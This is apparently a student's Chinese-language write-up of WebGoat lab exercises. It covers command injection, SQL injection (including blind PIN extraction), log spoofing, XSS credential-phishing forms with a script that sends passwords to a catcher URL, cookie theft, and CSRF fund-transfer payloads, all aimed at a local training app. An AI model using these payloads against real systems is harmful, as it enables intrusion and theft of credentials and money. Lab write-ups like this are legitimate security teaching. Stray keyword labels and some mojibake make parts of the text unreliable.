原理:javascript
防護:html
原理:前端
防護:java
原理:git
防護:github
返回目錄web
WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。正則表達式
java -jar webgoat-container-7.0.1-war-exec.jar
.當顯示以下圖的Starting ProtocolHandler ["http-bio-8080"]
時,可進行下一步操做。使用過程當中不要關閉終端。
數據庫
瀏覽器打開http://127.0.0.1:8080/WebGoat/login.mvc
,以下圖有登陸的帳號和密碼,用guest登陸便可。
登陸後便可看到以下圖所示的各個實驗教程。solution
是答案,hints
是提示。
右鍵表單選擇框的下拉框,選擇Inspect Element(Q),而後修改源代碼。
"& netstat -an & ipconfig"
。選擇這個修改後的選項,點擊View
能夠發如今這個頁面中能看到網絡端口使用狀況和IP地址。經過這種方式實現了攻擊。
若是不攻擊的話,是下圖的狀況。
(2)數字型SQL注入(Numeric SQL Injection)
SELECT * FROM weather_data WHERE station = [station]
Inspect Element(Q)
,而後修改源代碼。在某個選項的value
值後面,加上代碼 or 1=1
,使該式子成爲永真式。
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
。因爲後面是永真式,這樣會執行語句 SELECT * FROM weather_data
,能夠查詢到全部的信息。
admin
的用戶在日誌中顯示「成功登陸」。升級您的攻擊,例如:在日誌文件中插入腳本。在user name
一欄中輸入DQY Login Succeeded for username: admin
,密碼隨意輸入。提交後能夠發現,灰色區域的用戶名後面的信息會在同一行顯示,而不是在新的一行。
還能夠往該應用中注入回車(0D%)
和換行符(%0A)
。在 username
中填入20165114%0d%0aLogin Succeeded for username: admin
,這樣就完成了該課程.
攻擊者還能夠利用這種方式向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。若是把admin <script>alert(document.cookie)</script>
做爲用戶名輸入,可以得到登陸用戶的cookie
。
(4)字符串型注入(String SQL Injection)
因爲密碼的長度有限制,因此咱們先修改密碼輸入框的容許輸入長度。將maxlength
設置爲20甚至更大。
能夠用admin
的身份登陸,密碼框裏輸入' or 1=1 --
,而後就能成功以Necille
的身份登陸成功。能夠查看任意用戶的信息等等。
能夠編輯用戶信息、刪除信息等等。注入成功。
(5)LAB: SQL Injection 之 Stage 3: 數字型 SQL 注入(Stage 3: Numeric SQL Injection)
首先使用用戶名Larry
和密碼larry
登陸,瀏覽員工信息的按鈕是ViewProfile
。
在員工ID:101後面加上or 1=1 order by salary desc
進行SQL注入排序,其中desc
表示使用降序排列。
以下圖,看見了老闆的信息,還能夠修改,攻擊成功。
(6)數字型盲注入(Blind Numeric SQL Injection)
SELECT * FROM user_data WHERE userid=accountNumber;
101 AND 1=1
101 AND 1=2
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
PIN>10000
不然PIN<=10000
。不斷調整數值,能夠縮小判斷範圍,並最終判斷出 PIN 數值的大小。101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
2364
並提交,經過本節課程。
(7)字符串型盲注入(Blind String SQL Injection)
varchar
。101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
該語句使用了SUBSTRING方法,取得pin字段數值的第一個字母,並判斷其是否比字母「H」小。SUBSTRING 語法以下:SUBSTRING(STRING,START,LENGTH)
通過屢次測試(比較0-9A-Za-z等字符串)和頁面的返回數據,判斷出第一個字符爲「J」
。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) <'h' );
最終,判斷出pin字段的值爲:Jill
。提交該值,經過本節課程。
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
3 搜索這段代碼,您就能看到頁面中增長了一個表單。
4 如今您須要一段腳本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " +document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" +document.forms[0].pass.value + ""; } </script>
5 最後,就是要將這兩段代碼合併。最終須要輸入的代碼以下:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
6 這段代碼會讀取您在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的 WebGoat。
(2)存儲型XSS攻擊(Stored XSS Attacks)
title
中任意輸入字符。在Message
中輸入如下代碼:<script>alert('20165114')</script>
。20165114
,證實 XSS 攻擊成功。3 或者更爲複雜的,若是用如下的代碼。
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:yellow;"></div> <div style="float:left;height:100px;width:50%;background-color:orange;"></div> </div> <div style="background-color:grey;height:200px;clear:both;"></div> </div></div> </form> <script> function hack() { XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
4 點擊連接以後,會出現黃色、橙色、灰色的div滑塊,下面還會出現輸入用戶名和密碼的表單。
5 若是受害者輸入就會成功被截獲用戶名和密碼。以下圖:
(3)反射型XSS攻擊(Reflected XSS Attacks)
1 在Enter your three digit access code
中輸入以下代碼:<script>alert('you are a loser!')</script>
。
2 點擊Purchase
,成功顯示警告框,內容爲咱們script腳本寫的you are a loser!
。攻擊成功。
(1)跨站請求僞造(Cross Site Request Forgery (CSRF))
- 原理:跨站請求僞造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。以下代碼所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
。
當受害者的瀏覽器試圖打開這個頁面時,它會使用指定的參數向www.mybank.com的transferFunds.do頁面發送請求。瀏覽器認爲將會獲得一個圖片,但其實是一種資金轉移功能。該請求將包括與網站相關的任何cookies。所以,若是用戶已經經過網站的身份驗證,並有一個永久的cookie,甚至是當前會話的cookie,網站將沒有辦法區分這是不是一個從合法用戶發出的請求。經過這種方法,攻擊者可讓受害者執行一些他們原本沒打算執行的操做,如註銷、採購項目或者這個脆弱的網站提供的任何其餘功能。- 目的:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的 URL 指向一個惡意請求。嘗試一個包括 1*1像素的圖像,其中包含一個網址。這個URL應當用一個額外的參數「transferFunds= 4000」指向CRSF課程頁面。您能夠經過左側菜單在CSRF課程鏈接上右鍵單擊,選擇複製快捷方式。不管誰收到這封郵件,並剛好已經經過身份驗證,他的資金將會被轉走。
- 注意:不一樣 WebGoat 環境的URL中「Screen 」和「Menu」參數可能會有所區別。請使用當前訪問 URL 中正在使用的參數。
根據當前訪問 URL中的scr和menu在消息框中嵌入 HTML 代碼。這段代碼中包含一個圖片,連接到一個網站。<img src="http://localhost/WebGoat/attack?Screen=273&menu=2900&transferFunds=5000" width="1" height="1" />
。
提交後會發現連接,點擊該連接。
點擊該連接,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,CSRF攻擊就成功了。
(2)繞過CSRF確認(CSRF Prompt By‐Pass)
<iframe src="attack?Screen=277&menu=900&transferFunds=5114"> </iframe> <iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
前端安全系列(一):如何防止XSS攻擊?
CSRF 攻擊原理和防護方法
總結 XSS 與 CSRF 兩種跨站攻擊
WebGoat+中文手冊+v2.2